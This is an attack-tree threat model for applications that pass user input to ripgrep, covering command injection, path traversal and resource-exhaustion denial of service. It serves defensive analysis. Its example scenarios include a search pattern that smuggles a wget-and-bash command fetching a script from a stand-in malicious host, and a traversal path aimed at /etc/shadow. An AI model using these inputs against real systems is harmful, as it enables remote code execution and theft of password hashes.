attack-tree.md

Attack Tree Analysis for burntsushi/ripgrep

Objective: Compromise application using ripgrep by exploiting weaknesses or vulnerabilities within ripgrep's usage, focusing on high-risk attack paths.

Attack Tree Visualization

Attack Tree: High-Risk Paths - Compromise Application via Ripgrep

+---[Root Goal] Compromise Application via Ripgrep | +---[1. Input Injection] [CRITICAL NODE] Exploit vulnerabilities through manipulated input to ripgrep [HIGH RISK PATH] | | | +---[1.1 Command Injection via Search Pattern] [CRITICAL NODE] Inject shell commands within the search pattern [HIGH RISK PATH] | | | | | +---[1.1.1 Unsanitized Input] [CRITICAL NODE] Application fails to sanitize user-provided search pattern [HIGH RISK PATH] | | | | | | | +---[1.1.1.1 Execute Arbitrary Commands] [CRITICAL NODE] Inject shell metacharacters (e.g., ;, |, $(...), `...`) to execute commands [HIGH RISK PATH] | | +---[1.2 Path Traversal via File Paths] [CRITICAL NODE] Manipulate file paths provided to ripgrep to access unauthorized files [HIGH RISK PATH] | | | | | +---[1.2.1 Unsanitized File Path Input] [CRITICAL NODE] Application fails to sanitize user-provided file paths/directories [HIGH RISK PATH] | | | | | | | +---[1.2.1.1 Access Sensitive Files] [CRITICAL NODE] Use path traversal sequences (e.g., ../, ..\) to access files outside the intended search scope [HIGH RISK PATH] | +---[2. Resource Exhaustion (DoS)] [CRITICAL NODE] Overload the server by causing ripgrep to consume excessive resources [HIGH RISK PATH] | | | +---[2.1 Large Search Space] [CRITICAL NODE] Force ripgrep to search an extremely large number of files/directories [HIGH RISK PATH] | | | | | +---[2.1.1 Unbounded Search Scope] [CRITICAL NODE] Application allows users to specify very broad or deeply nested directories for searching [HIGH RISK PATH] | | | | | | | +---[2.1.1.1 CPU/IO Exhaustion] [CRITICAL NODE] Ripgrep spends excessive time traversing and searching a massive file system, leading to CPU and I/O saturation [HIGH RISK PATH] | | +---[2.3 Large Output Generation] [CRITICAL NODE] Force ripgrep to generate an extremely large output [HIGH RISK PATH] | | | | | +---[2.3.1 Broad Search and Common Pattern] [CRITICAL NODE] Search a wide scope for a very common pattern, resulting in massive output [HIGH RISK PATH] | | | | | | | +---[2.3.1.1 Memory/Bandwidth Exhaustion] [CRITICAL NODE] Large output consumes server memory and bandwidth, potentially leading to DoS or application instability. [HIGH RISK PATH]

Attack Tree Path: 1. Input Injection - High-Risk Path:

• 1.1 Command Injection via Search Pattern - Critical Node:

  • 1.1.1 Unsanitized Input - Critical Node: The application fails to properly sanitize user-provided search patterns before passing them to ripgrep.
    • 1.1.1.1 Execute Arbitrary Commands - Critical Node: An attacker injects shell metacharacters within the search pattern. If the application uses a shell to execute ripgrep without proper quoting or parameterization, these metacharacters are interpreted by the shell, allowing the attacker to execute arbitrary commands on the server.
      • Attack Vector Details:
        • Shell Metacharacters: Attackers use characters like ;, &, |, $, `, (, ), <, >, *, ?, [, ], {, }, ~, #, !, %, ^, ', ", \ within the search pattern.
        • Shell Execution Context: This attack relies on the application using a shell (like bash, sh) to execute the ripgrep command.
        • Impact: Complete system compromise, data breach, denial of service, malware installation.
      • Example Scenario: A user inputs a search pattern like ; wget http://malicious.site/exploit.sh -O /tmp/exploit.sh && bash /tmp/exploit.sh. If the application executes this via a vulnerable shell command, the malicious script will be downloaded and executed on the server.

• 1.2 Path Traversal via File Paths - Critical Node:

  • 1.2.1 Unsanitized File Path Input - Critical Node: The application fails to properly sanitize user-provided file paths or directories that are used as input for ripgrep's search scope.
    • 1.2.1.1 Access Sensitive Files - Critical Node: An attacker uses path traversal sequences (e.g., ../, ..\\) within the file path input to navigate outside the intended search directory and access sensitive files that ripgrep would otherwise not be authorized to access.
      • Attack Vector Details:
        • Path Traversal Sequences: Attackers use sequences like ../ (Unix-like systems) or ..\\ (Windows) to move up directory levels.
        • Unrestricted File Access: This attack relies on the application not properly validating and restricting the file paths provided to ripgrep.
        • Impact: Information disclosure of sensitive files (configuration files, database credentials, source code, user data), potential for further exploitation if exposed files contain vulnerabilities.
      • Example Scenario: A user inputs a directory path like ../../../../etc/shadow. If the application passes this unsanitized path to ripgrep, and ripgrep is executed with sufficient privileges, the attacker could potentially read the contents of the /etc/shadow file, which contains password hashes on Linux systems.

Attack Tree Path: 2. Resource Exhaustion (DoS) - High-Risk Path:

• 2.1 Large Search Space - Critical Node:

  • 2.1.1 Unbounded Search Scope - Critical Node: The application allows users to specify very broad or deeply nested directories as the search scope for ripgrep without proper limitations.
    • 2.1.1.1 CPU/IO Exhaustion - Critical Node: When ripgrep is instructed to search an extremely large number of files and directories, it consumes excessive CPU and I/O resources. This can lead to server overload, slow down or crash the application, and potentially impact other services on the same server.
      • Attack Vector Details:
        • Broad Search Scope: Attackers specify very high-level directories (e.g., root directory / on Linux) or deeply nested directory structures.
        • Resource Intensive Traversal: Ripgrep needs to traverse and potentially read metadata of a vast number of files, consuming CPU and I/O.
        • Impact: Denial of Service, application unavailability, performance degradation for legitimate users, potential server crash.
      • Example Scenario: A user initiates a search with the directory set to / (root directory) on a server with a large file system. Ripgrep will attempt to traverse and search the entire file system, consuming significant server resources and potentially causing a DoS.

• 2.3 Large Output Generation - Critical Node:

  • 2.3.1 Broad Search and Common Pattern - Critical Node: The application allows users to search for very common patterns within a wide search scope. This combination can result in ripgrep generating an extremely large output.
    • 2.3.1.1 Memory/Bandwidth Exhaustion - Critical Node: Generating and handling a massive output consumes significant server memory and bandwidth. If the application attempts to load the entire output into memory or transmit it over the network, it can lead to memory exhaustion, bandwidth saturation, application slowdown, or even crashes.
      • Attack Vector Details:
        • Common Search Pattern: Attackers use very frequent words or characters as the search pattern (e.g., "e", "the", "a").
        • Wide Search Scope: The search is performed across a large number of files or directories.
        • Impact: Denial of Service, application slowdown, memory exhaustion, bandwidth saturation, potential server crash.
      • Example Scenario: A user searches for the word "the" across a large codebase or document repository. Ripgrep might find thousands or millions of matches, generating a massive output. If the application tries to process or return this entire output, it could exhaust server memory or bandwidth, leading to a DoS.